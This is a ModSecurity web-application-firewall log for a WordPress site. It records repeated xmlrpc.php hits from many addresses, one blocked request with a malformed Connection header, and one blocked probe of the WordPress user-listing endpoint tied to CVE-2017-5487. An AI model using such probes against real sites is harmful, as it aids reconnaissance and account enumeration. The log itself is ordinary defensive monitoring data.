[Fri Apr 17 15:46:39.970204 2026] [:error] [pid 9152:tid 9211] [client 38.113.191.66:60436] [client 38.113.191.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 38.113.191.66, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHlX5JYca8I3TNCwIcQuQAAAFU"]
[Fri Apr 17 15:47:13.602763 2026] [:error] [pid 51878:tid 51897] [client 34.67.6.8:51804] [client 34.67.6.8] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.67.6.8, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHlgUnQhUtMbw9EsgYr-gAAARE"]
[Fri Apr 17 15:47:18.199741 2026] [:error] [pid 25010:tid 25019] [client 43.130.71.237:56512] [client 43.130.71.237] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aeHlho-7kkf42RarqQ1OJwAAAUY"]
[Fri Apr 17 15:50:21.650748 2026] [:error] [pid 34273:tid 34281] [client 34.76.142.88:25439] [client 34.76.142.88] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.76.142.88, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHmPWuQDW686mK3dgHPzAAAAYY"]
[Fri Apr 17 15:51:49.536604 2026] [:error] [pid 9151:tid 9181] [client 138.201.130.101:57378] [client 138.201.130.101] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.201.130.101, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHmlchTVuRPkua22vQcIAAAABQ"]
[Fri Apr 17 15:51:49.633920 2026] [:error] [pid 9152:tid 9212] [client 185.199.223.27:33464] [client 185.199.223.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.27, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHmlZJYca8I3TNCwIcRvwAAAFY"]
[Fri Apr 17 15:53:12.899566 2026] [:error] [pid 34273:tid 34288] [client 15.235.224.64:59096] [client 15.235.224.64] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 15.235.224.64, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHm6GuQDW686mK3dgHQNQAAAY0"]
[Fri Apr 17 15:55:11.832553 2026] [:error] [pid 61523:tid 61551] [client 165.22.37.239:50502] [client 165.22.37.239] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 165.22.37.239, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHnX8OaH-Pgc7WEf4NhoQAAAck"]
[Fri Apr 17 15:55:31.513391 2026] [:error] [pid 9152:tid 9211] [client 185.199.223.39:49732] [client 185.199.223.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.39, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHnc5JYca8I3TNCwIcSrQAAAFU"]
[Fri Apr 17 15:56:12.720677 2026] [:error] [pid 25010:tid 25017] [client 79.116.52.1:58862] [client 79.116.52.1] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.116.52.1, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHnnI-7kkf42RarqQ1PCQAAAUQ"]
[Fri Apr 17 15:56:45.637123 2026] [:error] [pid 9263:tid 9273] [client 72.14.187.140:46760] [client 72.14.187.140] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 72.14.187.140, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHnvRP68VyHNvj1e57JxQAAAMg"]
[Fri Apr 17 15:56:57.590461 2026] [:error] [pid 9263:tid 9278] [client 54.37.239.214:57834] [client 54.37.239.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.37.239.214, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHnyRP68VyHNvj1e57J2QAAAM0"]
[Fri Apr 17 16:01:29.125640 2026] [:error] [pid 61523:tid 61545] [client 82.223.101.71:45056] [client 82.223.101.71] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.101.71, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHo2cOaH-Pgc7WEf4NjKAAAAcM"]
[Fri Apr 17 16:02:59.279073 2026] [:error] [pid 9263:tid 9285] [client 66.94.126.158:42414] [client 66.94.126.158] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.94.126.158, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHpMxP68VyHNvj1e57MVwAAANQ"]
[Fri Apr 17 16:04:12.408918 2026] [:error] [pid 61523:tid 61559] [client 160.250.186.233:33934] [client 160.250.186.233] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 160.250.186.233, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHpfMOaH-Pgc7WEf4NkGwAAAdE"]
[Fri Apr 17 16:05:25.922373 2026] [:error] [pid 9263:tid 9278] [client 148.251.75.145:44808] [client 148.251.75.145] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.251.75.145, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHpxRP68VyHNvj1e57NgwAAAM0"]
[Fri Apr 17 16:16:30.086715 2026] [:error] [pid 51878:tid 51893] [client 54.36.44.129:57326] [client 54.36.44.129] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.36.44.129, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHsXknQhUtMbw9EsgYzXgAAAQ0"]
[Fri Apr 17 16:18:23.624668 2026] [:error] [pid 9263:tid 9289] [client 211.21.61.244:48232] [client 211.21.61.244] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 211.21.61.244, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHszxP68VyHNvj1e57XMwAAANg"]
[Fri Apr 17 16:18:47.073075 2026] [:error] [pid 34273:tid 34286] [client 91.245.210.195:36714] [client 91.245.210.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.245.210.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHs52uQDW686mK3dgHVgwAAAYs"]
[Fri Apr 17 16:19:23.926706 2026] [:error] [pid 9263:tid 9268] [client 147.182.174.7:57952] [client 147.182.174.7] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.182.174.7, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHtCxP68VyHNvj1e57YEgAAAMM"]
[Fri Apr 17 16:23:20.793898 2026] [:error] [pid 9152:tid 9203] [client 52.178.68.120:38910] [client 52.178.68.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.178.68.120, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHt-JJYca8I3TNCwIca_wAAAE0"]
[Fri Apr 17 16:26:03.362268 2026] [:error] [pid 9151:tid 9172] [client 54.38.122.177:49136] [client 54.38.122.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.38.122.177, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHum8hTVuRPkua22vQgJwAAAAs"]
[Fri Apr 17 16:29:17.519248 2026] [:error] [pid 61523:tid 61547] [client 47.130.205.94:60724] [client 47.130.205.94] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.130.205.94, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHvXcOaH-Pgc7WEf4NuugAAAcU"]
[Fri Apr 17 16:29:38.998405 2026] [:error] [pid 61523:tid 61561] [client 159.223.226.118:41330] [client 159.223.226.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.223.226.118, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHvcsOaH-Pgc7WEf4Nu0AAAAdM"]
[Fri Apr 17 16:30:48.525455 2026] [:error] [pid 9151:tid 9166] [client 194.164.166.170:36774] [client 194.164.166.170] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.164.166.170, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHvuMhTVuRPkua22vQgkAAAAAU"]
[Fri Apr 17 16:33:01.199953 2026] [:error] [pid 9151:tid 9183] [client 172.176.155.194:48730] [client 172.176.155.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.176.155.194, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHwPchTVuRPkua22vQgyAAAABY"]
[Fri Apr 17 16:34:51.616337 2026] [:error] [pid 34273:tid 34293] [client 162.222.34.234:40114] [client 162.222.34.234] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.222.34.234, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHwq2uQDW686mK3dgHYnwAAAZI"]
[Fri Apr 17 16:35:37.306224 2026] [:error] [pid 9152:tid 9201] [client 51.159.214.31:39396] [client 51.159.214.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.159.214.31, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHw2ZJYca8I3TNCwIcfDwAAAEs"]
[Fri Apr 17 16:41:43.659923 2026] [:error] [pid 9151:tid 9175] [client 34.165.13.211:37370] [client 34.165.13.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.165.13.211, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHyR8hTVuRPkua22vQhrQAAAA4"]
[Fri Apr 17 16:42:40.049764 2026] [:error] [pid 9152:tid 9206] [client 138.201.172.7:51664] [client 138.201.172.7] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.201.172.7, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHygJJYca8I3TNCwIcgswAAAFA"]
[Fri Apr 17 16:44:27.472645 2026] [:error] [pid 9153:tid 9228] [client 212.47.74.48:33446] [client 212.47.74.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.47.74.48, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHy6-MHGxkTZX3c45fhwAAAAIo"]
[Fri Apr 17 16:44:38.736356 2026] [:error] [pid 61523:tid 61550] [client 191.199.207.210:57052] [client 191.199.207.210] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "aeHy9sOaH-Pgc7WEf4NzHgAAAcg"]
[Fri Apr 17 16:46:35.405754 2026] [:error] [pid 51878:tid 51896] [client 191.199.207.210:58663] [client 191.199.207.210] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 191.199.207.210, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHza0nQhUtMbw9EsgY5yQAAARA"]
[Fri Apr 17 16:47:02.482503 2026] [:error] [pid 9153:tid 9235] [client 212.125.4.206:46356] [client 212.125.4.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.125.4.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHzhuMHGxkTZX3c45fiAwAAAJE"]
[Fri Apr 17 16:48:08.823903 2026] [:error] [pid 51878:tid 51890] [client 191.199.207.210:59978] [client 191.199.207.210] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 191.199.207.210, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHzyEnQhUtMbw9EsgY58QAAAQo"]
[Fri Apr 17 16:49:43.694423 2026] [:error] [pid 9152:tid 9204] [client 191.199.207.210:61304] [client 191.199.207.210] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 191.199.207.210, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeH0J5JYca8I3TNCwIch-gAAAE4"]
[Fri Apr 17 16:50:54.630876 2026] [:error] [pid 9152:tid 9199] [client 103.151.52.53:45018] [client 103.151.52.53] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.151.52.53, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeH0bpJYca8I3TNCwIciRAAAAEk"]
[Fri Apr 17 16:51:57.654372 2026] [:error] [pid 34273:tid 34279] [client 185.5.208.196:36592] [client 185.5.208.196] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.5.208.196, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeH0rWuQDW686mK3dgHauwAAAYQ"]
[Fri Apr 17 16:52:08.912659 2026] [:error] [pid 61523:tid 61562] [client 79.116.52.1:58740] [client 79.116.52.1] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.116.52.1, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeH0uMOaH-Pgc7WEf4N0zwAAAdQ"]
[Fri Apr 17 16:54:28.192932 2026] [:error] [pid 51878:tid 51897] [client 66.70.178.228:54742] [client 66.70.178.228] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.70.178.228, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeH1REnQhUtMbw9EsgY7LgAAARE"]
[Fri Apr 17 16:57:37.845555 2026] [:error] [pid 9153:tid 9233] [client 138.197.98.9:37412] [client 138.197.98.9] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.197.98.9, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeH2AeMHGxkTZX3c45fj_AAAAI8"]
[Fri Apr 17 17:01:02.104872 2026] [:error] [pid 51878:tid 51901] [client 45.92.108.157:49732] [client 45.92.108.157] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.92.108.157, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeH2zknQhUtMbw9EsgY9HgAAARU"]
[Fri Apr 17 17:07:26.890215 2026] [:error] [pid 9263:tid 9280] [client 43.156.13.166:48008] [client 43.156.13.166] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 43.156.13.166, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeH4ThP68VyHNvj1e57tmwAAAM8"]
[Fri Apr 17 17:09:23.393170 2026] [:error] [pid 51878:tid 51902] [client 51.75.54.138:42744] [client 51.75.54.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.75.54.138, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeH4w0nQhUtMbw9EsgY_NAAAARY"]
[Fri Apr 17 17:09:29.725464 2026] [:error] [pid 61523:tid 61560] [client 13.239.161.156:36422] [client 13.239.161.156] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 13.239.161.156, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeH4ycOaH-Pgc7WEf4N7GQAAAdI"]
[Fri Apr 17 17:11:30.439745 2026] [:error] [pid 9152:tid 9203] [client 107.180.252.236:51170] [client 107.180.252.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 107.180.252.236, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeH5QpJYca8I3TNCwIcoRQAAAE0"]
[Fri Apr 17 17:14:12.387377 2026] [:error] [pid 9152:tid 9193] [client 78.88.230.100:58240] [client 78.88.230.100] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.88.230.100, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeH55JJYca8I3TNCwIcpGwAAAEM"]
[Fri Apr 17 17:15:15.335167 2026] [:error] [pid 9263:tid 9278] [client 85.128.143.124:57224] [client 85.128.143.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.124, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeH6IxP68VyHNvj1e57x1gAAAM0"]
[Fri Apr 17 17:15:36.283581 2026] [:error] [pid 61523:tid 61565] [client 156.67.24.219:52200] [client 156.67.24.219] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 156.67.24.219, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeH6OMOaH-Pgc7WEf4N9wgAAAdc"]
[Fri Apr 17 17:16:15.607753 2026] [:error] [pid 9151:tid 9183] [client 104.28.163.185:15244] [client 104.28.163.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.163.185, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeH6X8hTVuRPkua22vQlYQAAABY"]
[Fri Apr 17 17:16:20.399878 2026] [:error] [pid 25010:tid 25017] [client 185.199.223.93:49578] [client 185.199.223.93] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.93, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeH6ZI-7kkf42RarqQ1ZUgAAAUQ"]
[Fri Apr 17 17:16:26.199187 2026] [:error] [pid 9151:tid 9164] [client 104.28.163.185:16773] [client 104.28.163.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.163.185, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeH6ashTVuRPkua22vQlZwAAAAM"]
[Fri Apr 17 17:16:37.036633 2026] [:error] [pid 9263:tid 9275] [client 104.28.163.185:16491] [client 104.28.163.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.163.185, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeH6dRP68VyHNvj1e57y0wAAAMo"]
[Fri Apr 17 17:16:51.490986 2026] [:error] [pid 51878:tid 51891] [client 104.28.163.185:14427] [client 104.28.163.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.163.185, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeH6g0nQhUtMbw9EsgZAwAAAAQs"]
[Fri Apr 17 17:17:01.217122 2026] [:error] [pid 9151:tid 9181] [client 104.28.163.185:14371] [client 104.28.163.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.163.185, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeH6jchTVuRPkua22vQldQAAABQ"]
[Fri Apr 17 17:20:55.150888 2026] [:error] [pid 61523:tid 61561] [client 72.61.39.19:53464] [client 72.61.39.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 72.61.39.19, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeH7d8OaH-Pgc7WEf4N_fQAAAdM"]
